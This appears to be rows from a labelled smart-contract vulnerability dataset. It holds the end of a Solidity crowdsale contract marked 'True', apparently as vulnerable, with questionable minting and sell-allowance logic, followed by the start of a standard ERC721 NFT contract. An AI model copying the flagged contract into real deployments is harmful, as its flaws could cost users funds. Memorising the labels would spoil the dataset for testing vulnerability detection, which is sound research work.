steps[currentStep].collectedWei = step.collectedWei.add(sum);
purchaseBalances[msg.sender] = purchaseBalances[msg.sender].add(sum);
token.mint(msg.sender, amount);
if(retSum > 0) {
msg.sender.transfer(retSum);
}
Purchase(msg.sender, amount, sum);
}
function issue(address _to, uint256 _value) onlyOwner whenNotPaused public {
require(!crowdsaleClosed);
Step memory step = steps[currentStep];
require(step.issue);
require(step.tokensSold.add(_value) <= step.tokensForSale);
steps[currentStep].tokensSold = step.tokensSold.add(_value);
canSell[_to] = canSell[_to].add(_value).div(100).mul(20);
token.mint(_to, _value);
Issue(_to, _value);
}
function sell(uint256 _value) whenNotPaused public {
require(!crowdsaleClosed);
require(canSell[msg.sender] >= _value);
require(token.balanceOf(msg.sender) >= _value);
Step memory step = steps[currentStep];
require(step.sale);
canSell[msg.sender] = canSell[msg.sender].sub(_value);
token.burnOwner(msg.sender, _value);
uint sum = _value.mul(step.priceTokenWei).div(1 ether);
msg.sender.transfer(sum);
Sell(msg.sender, _value, sum);
}
function refund() public {
require(crowdsaleRefund);
require(purchaseBalances[msg.sender] > 0);
uint sum = purchaseBalances[msg.sender];
purchaseBalances[msg.sender] = 0;
refundedWei = refundedWei.add(sum);
msg.sender.transfer(sum);
Refund(msg.sender, sum);
}
function nextStep() onlyOwner public {
require(!crowdsaleClosed);
require(steps.length - 1 > currentStep);
currentStep += 1;
NextStep(currentStep);
}
function closeCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
beneficiary.transfer(this.balance);
token.mint(beneficiary, token.totalSupply().div(100).mul(65));
token.finishMinting();
token.transferOwnership(beneficiary);
crowdsaleClosed = true;
CrowdsaleClose();
}
function refundCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
crowdsaleRefund = true;
crowdsaleClosed = true;
CrowdsaleRefund();
}
}
|
True
|
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102
] |
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/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
// File: contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721Enumerable.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
